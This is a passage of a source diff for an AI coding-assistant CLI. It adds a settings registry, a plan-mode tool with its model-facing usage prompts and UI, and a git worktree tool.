+    options: feature('AUTO_THEME') ? THEME_SETTINGS : THEME_NAMES,
+  },
+  editorMode: {
+    source: 'global',
+    type: 'string',
+    description: 'Key binding mode',
+    options: EDITOR_MODES,
+  },
+  verbose: {
+    source: 'global',
+    type: 'boolean',
+    description: 'Show detailed debug output',
+    appStateKey: 'verbose',
+  },
+  preferredNotifChannel: {
+    source: 'global',
+    type: 'string',
+    description: 'Preferred notification channel',
+    options: NOTIFICATION_CHANNELS,
+  },
+  autoCompactEnabled: {
+    source: 'global',
+    type: 'boolean',
+    description: 'Auto-compact when context is full',
+  },
+  autoMemoryEnabled: {
+    source: 'settings',
+    type: 'boolean',
+    description: 'Enable auto-memory',
+  },
+  autoDreamEnabled: {
+    source: 'settings',
+    type: 'boolean',
+    description: 'Enable background memory consolidation',
+  },
+  fileCheckpointingEnabled: {
+    source: 'global',
+    type: 'boolean',
+    description: 'Enable file checkpointing for code rewind',
+  },
+  showTurnDuration: {
+    source: 'global',
+    type: 'boolean',
+    description:
+      'Show turn duration message after responses (e.g., "Cooked for 1m 6s")',
+  },
+  terminalProgressBarEnabled: {
+    source: 'global',
+    type: 'boolean',
+    description: 'Show OSC 9;4 progress indicator in supported terminals',
+  },
+  todoFeatureEnabled: {
+    source: 'global',
+    type: 'boolean',
+    description: 'Enable todo/task tracking',
+  },
+  model: {
+    source: 'settings',
+    type: 'string',
+    description: 'Override the default model',
+    appStateKey: 'mainLoopModel',
+    getOptions: () => {
+      try {
+        return getModelOptions()
+          .filter(o => o.value !== null)
+          .map(o => o.value as string)
+      } catch {
+        return ['sonnet', 'opus', 'haiku']
+      }
+    },
+    validateOnWrite: v => validateModel(String(v)),
+    formatOnRead: v => (v === null ? 'default' : v),
+  },
+  alwaysThinkingEnabled: {
+    source: 'settings',
+    type: 'boolean',
+    description: 'Enable extended thinking (false to disable)',
+    appStateKey: 'thinkingEnabled',
+  },
+  'permissions.defaultMode': {
+    source: 'settings',
+    type: 'string',
+    description: 'Default permission mode for tool usage',
+    options: feature('TRANSCRIPT_CLASSIFIER')
+      ? ['default', 'plan', 'acceptEdits', 'dontAsk', 'auto']
+      : ['default', 'plan', 'acceptEdits', 'dontAsk'],
+  },
+  language: {
+    source: 'settings',
+    type: 'string',
+    description:
+      'Preferred language for Claude responses and voice dictation (e.g., "japanese", "spanish")',
+  },
+  teammateMode: {
+    source: 'global',
+    type: 'string',
+    description:
+      'How to spawn teammates: "tmux" for traditional tmux, "in-process" for same process, "auto" to choose automatically',
+    options: TEAMMATE_MODES,
+  },
+  ...(process.env.USER_TYPE === 'ant'
+    ? {
+        classifierPermissionsEnabled: {
+          source: 'settings' as const,
+          type: 'boolean' as const,
+          description:
+            'Enable AI-based classification for Bash(prompt:...) permission rules',
+        },
+      }
+    : {}),
+  ...(feature('VOICE_MODE')
+    ? {
+        voiceEnabled: {
+          source: 'settings' as const,
+          type: 'boolean' as const,
+          description: 'Enable voice dictation (hold-to-talk)',
+        },
+      }
+    : {}),
+  ...(feature('BRIDGE_MODE')
+    ? {
+        remoteControlAtStartup: {
+          source: 'global' as const,
+          type: 'boolean' as const,
+          description:
+            'Enable Remote Control for all sessions (true | false | default)',
+          formatOnRead: () => getRemoteControlAtStartup(),
+        },
+      }
+    : {}),
+  ...(feature('KAIROS') || feature('KAIROS_PUSH_NOTIFICATION')
+    ? {
+        taskCompleteNotifEnabled: {
+          source: 'global' as const,
+          type: 'boolean' as const,
+          description:
+            'Push to your mobile device when idle after Claude finishes (requires Remote Control)',
+        },
+        inputNeededNotifEnabled: {
+          source: 'global' as const,
+          type: 'boolean' as const,
+          description:
+            'Push to your mobile device when a permission prompt or question is waiting (requires Remote Control)',
+        },
+        agentPushNotifEnabled: {
+          source: 'global' as const,
+          type: 'boolean' as const,
+          description:
+            'Allow Claude to push to your mobile device when it deems it appropriate (requires Remote Control)',
+        },
+      }
+    : {}),
+}
+
+export function isSupported(key: string): boolean {
+  return key in SUPPORTED_SETTINGS
+}
+
+export function getConfig(key: string): SettingConfig | undefined {
+  return SUPPORTED_SETTINGS[key]
+}
+
+export function getAllKeys(): string[] {
+  return Object.keys(SUPPORTED_SETTINGS)
+}
+
+export function getOptionsForSetting(key: string): string[] | undefined {
+  const config = SUPPORTED_SETTINGS[key]
+  if (!config) return undefined
+  if (config.options) return [...config.options]
+  if (config.getOptions) return config.getOptions()
+  return undefined
+}
+
+export function getPath(key: string): string[] {
+  const config = SUPPORTED_SETTINGS[key]
+  return config?.path ?? key.split('.')
+}

src/tools/EnterPlanModeTool/EnterPlanModeTool.ts

@@ -0,0 +1,126 @@
+import { feature } from 'bun:bundle'
+import { z } from 'zod/v4'
+import {
+  getAllowedChannels,
+  handlePlanModeTransition,
+} from '../../bootstrap/state.js'
+import type { Tool } from '../../Tool.js'
+import { buildTool, type ToolDef } from '../../Tool.js'
+import { lazySchema } from '../../utils/lazySchema.js'
+import { applyPermissionUpdate } from '../../utils/permissions/PermissionUpdate.js'
+import { prepareContextForPlanMode } from '../../utils/permissions/permissionSetup.js'
+import { isPlanModeInterviewPhaseEnabled } from '../../utils/planModeV2.js'
+import { ENTER_PLAN_MODE_TOOL_NAME } from './constants.js'
+import { getEnterPlanModeToolPrompt } from './prompt.js'
+import {
+  renderToolResultMessage,
+  renderToolUseMessage,
+  renderToolUseRejectedMessage,
+} from './UI.js'
+
+const inputSchema = lazySchema(() =>
+  z.strictObject({
+    // No parameters needed
+  }),
+)
+type InputSchema = ReturnType<typeof inputSchema>
+
+const outputSchema = lazySchema(() =>
+  z.object({
+    message: z.string().describe('Confirmation that plan mode was entered'),
+  }),
+)
+type OutputSchema = ReturnType<typeof outputSchema>
+export type Output = z.infer<OutputSchema>
+
+export const EnterPlanModeTool: Tool<InputSchema, Output> = buildTool({
+  name: ENTER_PLAN_MODE_TOOL_NAME,
+  searchHint: 'switch to plan mode to design an approach before coding',
+  maxResultSizeChars: 100_000,
+  async description() {
+    return 'Requests permission to enter plan mode for complex tasks requiring exploration and design'
+  },
+  async prompt() {
+    return getEnterPlanModeToolPrompt()
+  },
+  get inputSchema(): InputSchema {
+    return inputSchema()
+  },
+  get outputSchema(): OutputSchema {
+    return outputSchema()
+  },
+  userFacingName() {
+    return ''
+  },
+  shouldDefer: true,
+  isEnabled() {
+    // When --channels is active, ExitPlanMode is disabled (its approval
+    // dialog needs the terminal). Disable entry too so plan mode isn't a
+    // trap the model can enter but never leave.
+    if (
+      (feature('KAIROS') || feature('KAIROS_CHANNELS')) &&
+      getAllowedChannels().length > 0
+    ) {
+      return false
+    }
+    return true
+  },
+  isConcurrencySafe() {
+    return true
+  },
+  isReadOnly() {
+    return true
+  },
+  renderToolUseMessage,
+  renderToolResultMessage,
+  renderToolUseRejectedMessage,
+  async call(_input, context) {
+    if (context.agentId) {
+      throw new Error('EnterPlanMode tool cannot be used in agent contexts')
+    }
+
+    const appState = context.getAppState()
+    handlePlanModeTransition(appState.toolPermissionContext.mode, 'plan')
+
+    // Update the permission mode to 'plan'. prepareContextForPlanMode runs
+    // the classifier activation side effects when the user's defaultMode is
+    // 'auto' — see permissionSetup.ts for the full lifecycle.
+    context.setAppState(prev => ({
+      ...prev,
+      toolPermissionContext: applyPermissionUpdate(
+        prepareContextForPlanMode(prev.toolPermissionContext),
+        { type: 'setMode', mode: 'plan', destination: 'session' },
+      ),
+    }))
+
+    return {
+      data: {
+        message:
+          'Entered plan mode. You should now focus on exploring the codebase and designing an implementation approach.',
+      },
+    }
+  },
+  mapToolResultToToolResultBlockParam({ message }, toolUseID) {
+    const instructions = isPlanModeInterviewPhaseEnabled()
+      ? `${message}
+
+DO NOT write or edit any files except the plan file. Detailed workflow instructions will follow.`
+      : `${message}
+
+In plan mode, you should:
+1. Thoroughly explore the codebase to understand existing patterns
+2. Identify similar features and architectural approaches
+3. Consider multiple approaches and their trade-offs
+4. Use AskUserQuestion if you need to clarify the approach
+5. Design a concrete implementation strategy
+6. When ready, use ExitPlanMode to present your plan for approval
+
+Remember: DO NOT write or edit any files yet. This is a read-only exploration and planning phase.`
+
+    return {
+      type: 'tool_result',
+      content: instructions,
+      tool_use_id: toolUseID,
+    }
+  },
+} satisfies ToolDef<InputSchema, Output>)

src/tools/EnterPlanModeTool/UI.tsx

@@ -0,0 +1,33 @@
+import * as React from 'react';
+import { BLACK_CIRCLE } from 'src/constants/figures.js';
+import { getModeColor } from 'src/utils/permissions/PermissionMode.js';
+import { Box, Text } from '../../ink.js';
+import type { ToolProgressData } from '../../Tool.js';
+import type { ProgressMessage } from '../../types/message.js';
+import type { ThemeName } from '../../utils/theme.js';
+import type { Output } from './EnterPlanModeTool.js';
+export function renderToolUseMessage(): React.ReactNode {
+  return null;
+}
+export function renderToolResultMessage(_output: Output, _progressMessagesForMessage: ProgressMessage<ToolProgressData>[], _options: {
+  theme: ThemeName;
+}): React.ReactNode {
+  return <Box flexDirection="column" marginTop={1}>
+      <Box flexDirection="row">
+        <Text color={getModeColor('plan')}>{BLACK_CIRCLE}</Text>
+        <Text> Entered plan mode</Text>
+      </Box>
+      <Box paddingLeft={2}>
+        <Text dimColor>
+          Claude is now exploring and designing an implementation approach.
+        </Text>
+      </Box>
+    </Box>;
+}
+export function renderToolUseRejectedMessage(): React.ReactNode {
+  return <Box flexDirection="row" marginTop={1}>
+      <Text color={getModeColor('default')}>{BLACK_CIRCLE}</Text>
+      <Text> User declined to enter plan mode</Text>
+    </Box>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkJMQUNLX0NJUkNMRSIsImdldE1vZGVDb2xvciIsIkJveCIsIlRleHQiLCJUb29sUHJvZ3Jlc3NEYXRhIiwiUHJvZ3Jlc3NNZXNzYWdlIiwiVGhlbWVOYW1lIiwiT3V0cHV0IiwicmVuZGVyVG9vbFVzZU1lc3NhZ2UiLCJSZWFjdE5vZGUiLCJyZW5kZXJUb29sUmVzdWx0TWVzc2FnZSIsIl9vdXRwdXQiLCJfcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2UiLCJfb3B0aW9ucyIsInRoZW1lIiwicmVuZGVyVG9vbFVzZVJlamVjdGVkTWVzc2FnZSJdLCJzb3VyY2VzIjpbIlVJLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IEJMQUNLX0NJUkNMRSB9IGZyb20gJ3NyYy9jb25zdGFudHMvZmlndXJlcy5qcydcbmltcG9ydCB7IGdldE1vZGVDb2xvciB9IGZyb20gJ3NyYy91dGlscy9wZXJtaXNzaW9ucy9QZXJtaXNzaW9uTW9kZS5qcydcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgVG9vbFByb2dyZXNzRGF0YSB9IGZyb20gJy4uLy4uL1Rvb2wuanMnXG5pbXBvcnQgdHlwZSB7IFByb2dyZXNzTWVzc2FnZSB9IGZyb20gJy4uLy4uL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgdHlwZSB7IFRoZW1lTmFtZSB9IGZyb20gJy4uLy4uL3V0aWxzL3RoZW1lLmpzJ1xuaW1wb3J0IHR5cGUgeyBPdXRwdXQgfSBmcm9tICcuL0VudGVyUGxhbk1vZGVUb29sLmpzJ1xuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFVzZU1lc3NhZ2UoKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuIG51bGxcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHJlbmRlclRvb2xSZXN1bHRNZXNzYWdlKFxuICBfb3V0cHV0OiBPdXRwdXQsXG4gIF9wcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZTogUHJvZ3Jlc3NNZXNzYWdlPFRvb2xQcm9ncmVzc0RhdGE+W10sXG4gIF9vcHRpb25zOiB7IHRoZW1lOiBUaGVtZU5hbWUgfSxcbik6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luVG9wPXsxfT5cbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cInJvd1wiPlxuICAgICAgICA8VGV4dCBjb2xvcj17Z2V0TW9kZUNvbG9yKCdwbGFuJyl9PntCTEFDS19DSVJDTEV9PC9UZXh0PlxuICAgICAgICA8VGV4dD4gRW50ZXJlZCBwbGFuIG1vZGU8L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICAgIDxCb3ggcGFkZGluZ0xlZnQ9ezJ9PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICBDbGF1ZGUgaXMgbm93IGV4cGxvcmluZyBhbmQgZGVzaWduaW5nIGFuIGltcGxlbWVudGF0aW9uIGFwcHJvYWNoLlxuICAgICAgICA8L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICA8L0JveD5cbiAgKVxufVxuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFVzZVJlamVjdGVkTWVzc2FnZSgpOiBSZWFjdC5SZWFjdE5vZGUge1xuICByZXR1cm4gKFxuICAgIDxCb3ggZmxleERpcmVjdGlvbj1cInJvd1wiIG1hcmdpblRvcD17MX0+XG4gICAgICA8VGV4dCBjb2xvcj17Z2V0TW9kZUNvbG9yKCdkZWZhdWx0Jyl9PntCTEFDS19DSVJDTEV9PC9UZXh0PlxuICAgICAgPFRleHQ+IFVzZXIgZGVjbGluZWQgdG8gZW50ZXIgcGxhbiBtb2RlPC9UZXh0PlxuICAgIDwvQm94PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiJBQUFBLE9BQU8sS0FBS0EsS0FBSyxNQUFNLE9BQU87QUFDOUIsU0FBU0MsWUFBWSxRQUFRLDBCQUEwQjtBQUN2RCxTQUFTQyxZQUFZLFFBQVEseUNBQXlDO0FBQ3RFLFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLGNBQWM7QUFDeEMsY0FBY0MsZ0JBQWdCLFFBQVEsZUFBZTtBQUNyRCxjQUFjQyxlQUFlLFFBQVEsd0JBQXdCO0FBQzdELGNBQWNDLFNBQVMsUUFBUSxzQkFBc0I7QUFDckQsY0FBY0MsTUFBTSxRQUFRLHdCQUF3QjtBQUVwRCxPQUFPLFNBQVNDLG9CQUFvQkEsQ0FBQSxDQUFFLEVBQUVULEtBQUssQ0FBQ1UsU0FBUyxDQUFDO0VBQ3RELE9BQU8sSUFBSTtBQUNiO0FBRUEsT0FBTyxTQUFTQyx1QkFBdUJBLENBQ3JDQyxPQUFPLEVBQUVKLE1BQU0sRUFDZkssMkJBQTJCLEVBQUVQLGVBQWUsQ0FBQ0QsZ0JBQWdCLENBQUMsRUFBRSxFQUNoRVMsUUFBUSxFQUFFO0VBQUVDLEtBQUssRUFBRVIsU0FBUztBQUFDLENBQUMsQ0FDL0IsRUFBRVAsS0FBSyxDQUFDVSxTQUFTLENBQUM7RUFDakIsT0FDRSxDQUFDLEdBQUcsQ0FBQyxhQUFhLENBQUMsUUFBUSxDQUFDLFNBQVMsQ0FBQyxDQUFDLENBQUMsQ0FBQztBQUM3QyxNQUFNLENBQUMsR0FBRyxDQUFDLGFBQWEsQ0FBQyxLQUFLO0FBQzlCLFFBQVEsQ0FBQyxJQUFJLENBQUMsS0FBSyxDQUFDLENBQUNSLFlBQVksQ0FBQyxNQUFNLENBQUMsQ0FBQyxDQUFDLENBQUNELFlBQVksQ0FBQyxFQUFFLElBQUk7QUFDL0QsUUFBUSxDQUFDLElBQUksQ0FBQyxrQkFBa0IsRUFBRSxJQUFJO0FBQ3RDLE1BQU0sRUFBRSxHQUFHO0FBQ1gsTUFBTSxDQUFDLEdBQUcsQ0FBQyxXQUFXLENBQUMsQ0FBQyxDQUFDLENBQUM7QUFDMUIsUUFBUSxDQUFDLElBQUksQ0FBQyxRQUFRO0FBQ3RCO0FBQ0EsUUFBUSxFQUFFLElBQUk7QUFDZCxNQUFNLEVBQUUsR0FBRztBQUNYLElBQUksRUFBRSxHQUFHLENBQUM7QUFFVjtBQUVBLE9BQU8sU0FBU2UsNEJBQTRCQSxDQUFBLENBQUUsRUFBRWhCLEtBQUssQ0FBQ1UsU0FBUyxDQUFDO0VBQzlELE9BQ0UsQ0FBQyxHQUFHLENBQUMsYUFBYSxDQUFDLEtBQUssQ0FBQyxTQUFTLENBQUMsQ0FBQyxDQUFDLENBQUM7QUFDMUMsTUFBTSxDQUFDLElBQUksQ0FBQyxLQUFLLENBQUMsQ0FBQ1IsWUFBWSxDQUFDLFNBQVMsQ0FBQyxDQUFDLENBQUMsQ0FBQ0QsWUFBWSxDQUFDLEVBQUUsSUFBSTtBQUNoRSxNQUFNLENBQUMsSUFBSSxDQUFDLGlDQUFpQyxFQUFFLElBQUk7QUFDbkQsSUFBSSxFQUFFLEdBQUcsQ0FBQztBQUVWIiwiaWdub3JlTGlzdCI6W119

src/tools/EnterPlanModeTool/constants.ts

@@ -0,0 +1 @@
+export const ENTER_PLAN_MODE_TOOL_NAME = 'EnterPlanMode'

src/tools/EnterPlanModeTool/prompt.ts

@@ -0,0 +1,170 @@
+import { isPlanModeInterviewPhaseEnabled } from '../../utils/planModeV2.js'
+import { ASK_USER_QUESTION_TOOL_NAME } from '../AskUserQuestionTool/prompt.js'
+
+const WHAT_HAPPENS_SECTION = `## What Happens in Plan Mode
+
+In plan mode, you'll:
+1. Thoroughly explore the codebase using Glob, Grep, and Read tools
+2. Understand existing patterns and architecture
+3. Design an implementation approach
+4. Present your plan to the user for approval
+5. Use ${ASK_USER_QUESTION_TOOL_NAME} if you need to clarify approaches
+6. Exit plan mode with ExitPlanMode when ready to implement
+
+`
+
+function getEnterPlanModeToolPromptExternal(): string {
+  // When interview phase is enabled, omit the "What Happens" section —
+  // detailed workflow instructions arrive via the plan_mode attachment (messages.ts).
+  const whatHappens = isPlanModeInterviewPhaseEnabled()
+    ? ''
+    : WHAT_HAPPENS_SECTION
+
+  return `Use this tool proactively when you're about to start a non-trivial implementation task. Getting user sign-off on your approach before writing code prevents wasted effort and ensures alignment. This tool transitions you into plan mode where you can explore the codebase and design an implementation approach for user approval.
+
+## When to Use This Tool
+
+**Prefer using EnterPlanMode** for implementation tasks unless they're simple. Use it when ANY of these conditions apply:
+
+1. **New Feature Implementation**: Adding meaningful new functionality
+   - Example: "Add a logout button" - where should it go? What should happen on click?
+   - Example: "Add form validation" - what rules? What error messages?
+
+2. **Multiple Valid Approaches**: The task can be solved in several different ways
+   - Example: "Add caching to the API" - could use Redis, in-memory, file-based, etc.
+   - Example: "Improve performance" - many optimization strategies possible
+
+3. **Code Modifications**: Changes that affect existing behavior or structure
+   - Example: "Update the login flow" - what exactly should change?
+   - Example: "Refactor this component" - what's the target architecture?
+
+4. **Architectural Decisions**: The task requires choosing between patterns or technologies
+   - Example: "Add real-time updates" - WebSockets vs SSE vs polling
+   - Example: "Implement state management" - Redux vs Context vs custom solution
+
+5. **Multi-File Changes**: The task will likely touch more than 2-3 files
+   - Example: "Refactor the authentication system"
+   - Example: "Add a new API endpoint with tests"
+
+6. **Unclear Requirements**: You need to explore before understanding the full scope
+   - Example: "Make the app faster" - need to profile and identify bottlenecks
+   - Example: "Fix the bug in checkout" - need to investigate root cause
+
+7. **User Preferences Matter**: The implementation could reasonably go multiple ways
+   - If you would use ${ASK_USER_QUESTION_TOOL_NAME} to clarify the approach, use EnterPlanMode instead
+   - Plan mode lets you explore first, then present options with context
+
+## When NOT to Use This Tool
+
+Only skip EnterPlanMode for simple tasks:
+- Single-line or few-line fixes (typos, obvious bugs, small tweaks)
+- Adding a single function with clear requirements
+- Tasks where the user has given very specific, detailed instructions
+- Pure research/exploration tasks (use the Agent tool with explore agent instead)
+
+${whatHappens}## Examples
+
+### GOOD - Use EnterPlanMode:
+User: "Add user authentication to the app"
+- Requires architectural decisions (session vs JWT, where to store tokens, middleware structure)
+
+User: "Optimize the database queries"
+- Multiple approaches possible, need to profile first, significant impact
+
+User: "Implement dark mode"
+- Architectural decision on theme system, affects many components
+
+User: "Add a delete button to the user profile"
+- Seems simple but involves: where to place it, confirmation dialog, API call, error handling, state updates
+
+User: "Update the error handling in the API"
+- Affects multiple files, user should approve the approach
+
+### BAD - Don't use EnterPlanMode:
+User: "Fix the typo in the README"
+- Straightforward, no planning needed
+
+User: "Add a console.log to debug this function"
+- Simple, obvious implementation
+
+User: "What files handle routing?"
+- Research task, not implementation planning
+
+## Important Notes
+
+- This tool REQUIRES user approval - they must consent to entering plan mode
+- If unsure whether to use it, err on the side of planning - it's better to get alignment upfront than to redo work
+- Users appreciate being consulted before significant changes are made to their codebase
+`
+}
+
+function getEnterPlanModeToolPromptAnt(): string {
+  // When interview phase is enabled, omit the "What Happens" section —
+  // detailed workflow instructions arrive via the plan_mode attachment (messages.ts).
+  const whatHappens = isPlanModeInterviewPhaseEnabled()
+    ? ''
+    : WHAT_HAPPENS_SECTION
+
+  return `Use this tool when a task has genuine ambiguity about the right approach and getting user input before coding would prevent significant rework. This tool transitions you into plan mode where you can explore the codebase and design an implementation approach for user approval.
+
+## When to Use This Tool
+
+Plan mode is valuable when the implementation approach is genuinely unclear. Use it when:
+
+1. **Significant Architectural Ambiguity**: Multiple reasonable approaches exist and the choice meaningfully affects the codebase
+   - Example: "Add caching to the API" - Redis vs in-memory vs file-based
+   - Example: "Add real-time updates" - WebSockets vs SSE vs polling
+
+2. **Unclear Requirements**: You need to explore and clarify before you can make progress
+   - Example: "Make the app faster" - need to profile and identify bottlenecks
+   - Example: "Refactor this module" - need to understand what the target architecture should be
+
+3. **High-Impact Restructuring**: The task will significantly restructure existing code and getting buy-in first reduces risk
+   - Example: "Redesign the authentication system"
+   - Example: "Migrate from one state management approach to another"
+
+## When NOT to Use This Tool
+
+Skip plan mode when you can reasonably infer the right approach:
+- The task is straightforward even if it touches multiple files
+- The user's request is specific enough that the implementation path is clear
+- You're adding a feature with an obvious implementation pattern (e.g., adding a button, a new endpoint following existing conventions)
+- Bug fixes where the fix is clear once you understand the bug
+- Research/exploration tasks (use the Agent tool instead)
+- The user says something like "can we work on X" or "let's do X" — just get started
+
+When in doubt, prefer starting work and using ${ASK_USER_QUESTION_TOOL_NAME} for specific questions over entering a full planning phase.
+
+${whatHappens}## Examples
+
+### GOOD - Use EnterPlanMode:
+User: "Add user authentication to the app"
+- Genuinely ambiguous: session vs JWT, where to store tokens, middleware structure
+
+User: "Redesign the data pipeline"
+- Major restructuring where the wrong approach wastes significant effort
+
+### BAD - Don't use EnterPlanMode:
+User: "Add a delete button to the user profile"
+- Implementation path is clear; just do it
+
+User: "Can we work on the search feature?"
+- User wants to get started, not plan
+
+User: "Update the error handling in the API"
+- Start working; ask specific questions if needed
+
+User: "Fix the typo in the README"
+- Straightforward, no planning needed
+
+## Important Notes
+
+- This tool REQUIRES user approval - they must consent to entering plan mode
+`
+}
+
+export function getEnterPlanModeToolPrompt(): string {
+  return process.env.USER_TYPE === 'ant'
+    ? getEnterPlanModeToolPromptAnt()
+    : getEnterPlanModeToolPromptExternal()
+}

src/tools/EnterWorktreeTool/EnterWorktreeTool.ts

@@ -0,0 +1,127 @@
+import { z } from 'zod/v4'
+import { getSessionId, setOriginalCwd } from '../../bootstrap/state.js'
+import { clearSystemPromptSections } from '../../constants/systemPromptSections.js'
+import { logEvent } from '../../services/analytics/index.js'
+import type { Tool } from '../../Tool.js'
+import { buildTool, type ToolDef } from '../../Tool.js'
+import { clearMemoryFileCaches } from '../../utils/claudemd.js'
+import { getCwd } from '../../utils/cwd.js'
+import { findCanonicalGitRoot } from '../../utils/git.js'
+import { lazySchema } from '../../utils/lazySchema.js'
+import { getPlanSlug, getPlansDirectory } from '../../utils/plans.js'
+import { setCwd } from '../../utils/Shell.js'
+import { saveWorktreeState } from '../../utils/sessionStorage.js'
+import {
+  createWorktreeForSession,
+  getCurrentWorktreeSession,
+  validateWorktreeSlug,
+} from '../../utils/worktree.js'
+import { ENTER_WORKTREE_TOOL_NAME } from './constants.js'
+import { getEnterWorktreeToolPrompt } from './prompt.js'
+import { renderToolResultMessage, renderToolUseMessage } from './UI.js'
+
+const inputSchema = lazySchema(() =>
+  z.strictObject({
+    name: z
+      .string()
+      .superRefine((s, ctx) => {
+        try {
+          validateWorktreeSlug(s)
+        } catch (e) {
+          ctx.addIssue({ code: 'custom', message: (e as Error).message })
+        }
+      })
+      .optional()
+      .describe(
+        'Optional name for the worktree. Each "/"-separated segment may contain only letters, digits, dots, underscores, and dashes; max 64 chars total. A random name is generated if not provided.',
+      ),
+  }),
+)
+type InputSchema = ReturnType<typeof inputSchema>
+
+const outputSchema = lazySchema(() =>
+  z.object({
+    worktreePath: z.string(),
+    worktreeBranch: z.string().optional(),
+    message: z.string(),
+  }),
+)
+type OutputSchema = ReturnType<typeof outputSchema>
+export type Output = z.infer<OutputSchema>
+
+export const EnterWorktreeTool: Tool<InputSchema, Output> = buildTool({
+  name: ENTER_WORKTREE_TOOL_NAME,
+  searchHint: 'create an isolated git worktree and switch into it',
+  maxResultSizeChars: 100_000,
+  async description() {
+    return 'Creates an isolated worktree (via git or configured hooks) and switches the session into it'
+  },
+  async prompt() {
+    return getEnterWorktreeToolPrompt()
+  },
+  get inputSchema(): InputSchema {
+    return inputSchema()
+  },
+  get outputSchema(): OutputSchema {
+    return outputSchema()
+  },
+  userFacingName() {
+    return 'Creating worktree'
+  },
+  shouldDefer: true,
+  toAutoClassifierInput(input) {
+    return input.name ?? ''
+  },
+  renderToolUseMessage,
+  renderToolResultMessage,
+  async call(input) {
+    // Validate not already in a worktree created by this session
+    if (getCurrentWorktreeSession()) {
+      throw new Error('Already in a worktree session')
+    }
+
+    // Resolve to main repo root so worktree creation works from within a worktree
+    const mainRepoRoot = findCanonicalGitRoot(getCwd())
+    if (mainRepoRoot && mainRepoRoot !== getCwd()) {
+      process.chdir(mainRepoRoot)
+      setCwd(mainRepoRoot)
+    }
+
+    const slug = input.name ?? getPlanSlug()
+
+    const worktreeSession = await createWorktreeForSession(getSessionId(), slug)
+
+    process.chdir(worktreeSession.worktreePath)
+    setCwd(worktreeSession.worktreePath)
+    setOriginalCwd(getCwd())
+    saveWorktreeState(worktreeSession)
+    // Clear cached system prompt sections so env_info_simple recomputes with worktree context
+    clearSystemPromptSections()
+    // Clear memoized caches that depend on CWD
+    clearMemoryFileCaches()
+    getPlansDirectory.cache.clear?.()
+
+    logEvent('tengu_worktree_created', {
+      mid_session: true,
+    })
+
+    const branchInfo = worktreeSession.worktreeBranch
+      ? ` on branch ${worktreeSession.worktreeBranch}`
+      : ''
+
+    return {
+      data: {
+        worktreePath: worktreeSession.worktreePath,
+        worktreeBranch: worktreeSession.worktreeBranch,
+        message: `Created worktree at ${worktreeSession.worktreePath}${branchInfo}. The session is now working in the worktree. Use ExitWorktree to leave mid-session, or exit the session to be prompted.`,
+      },
+    }
+  },
+  mapToolResultToToolResultBlockParam({ message }, toolUseID) {
+    return {
+      type: 'tool_result',
+      content: message,
+      tool_use_id: toolUseID,
+    }
+  },
+} satisfies ToolDef<InputSchema, Output>)

src/tools/EnterWorktreeTool/UI.tsx

@@ -0,0 +1,20 @@
+import * as React from 'react';
+import { Box, Text } from '../../ink.js';
+import type { ToolProgressData } from '../../Tool.js';
+import type { ProgressMessage } from '../../types/message.js';
+import type { ThemeName } from '../../utils/theme.js';
+import type { Output } from './EnterWorktreeTool.js';
+export function renderToolUseMessage(): React.ReactNode {
+  return 'Creating worktree…';
+}
+export function renderToolResultMessage(output: Output, _progressMessagesForMessage: ProgressMessage<ToolProgressData>[], _options: {
+  theme: ThemeName;
+}): React.ReactNode {
+  return <Box flexDirection="column">
+      <Text>
+        Switched to worktree on branch <Text bold>{output.worktreeBranch}</Text>
+      </Text>
+      <Text dimColor>{output.worktreePath}</Text>
+    </Box>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkJveCIsIlRleHQiLCJUb29sUHJvZ3Jlc3NEYXRhIiwiUHJvZ3Jlc3NNZXNzYWdlIiwiVGhlbWVOYW1lIiwiT3V0cHV0IiwicmVuZGVyVG9vbFVzZU1lc3NhZ2UiLCJSZWFjdE5vZGUiLCJyZW5kZXJUb29sUmVzdWx0TWVzc2FnZSIsIm91dHB1dCIsIl9wcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZSIsIl9vcHRpb25zIiwidGhlbWUiLCJ3b3JrdHJlZUJyYW5jaCIsIndvcmt0cmVlUGF0aCJdLCJzb3VyY2VzIjpbIlVJLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgVG9vbFByb2dyZXNzRGF0YSB9IGZyb20gJy4uLy4uL1Rvb2wuanMnXG5pbXBvcnQgdHlwZSB7IFByb2dyZXNzTWVzc2FnZSB9IGZyb20gJy4uLy4uL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgdHlwZSB7IFRoZW1lTmFtZSB9IGZyb20gJy4uLy4uL3V0aWxzL3RoZW1lLmpzJ1xuaW1wb3J0IHR5cGUgeyBPdXRwdXQgfSBmcm9tICcuL0VudGVyV29ya3RyZWVUb29sLmpzJ1xuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFVzZU1lc3NhZ2UoKTogUmVhY3QuUmVhY3R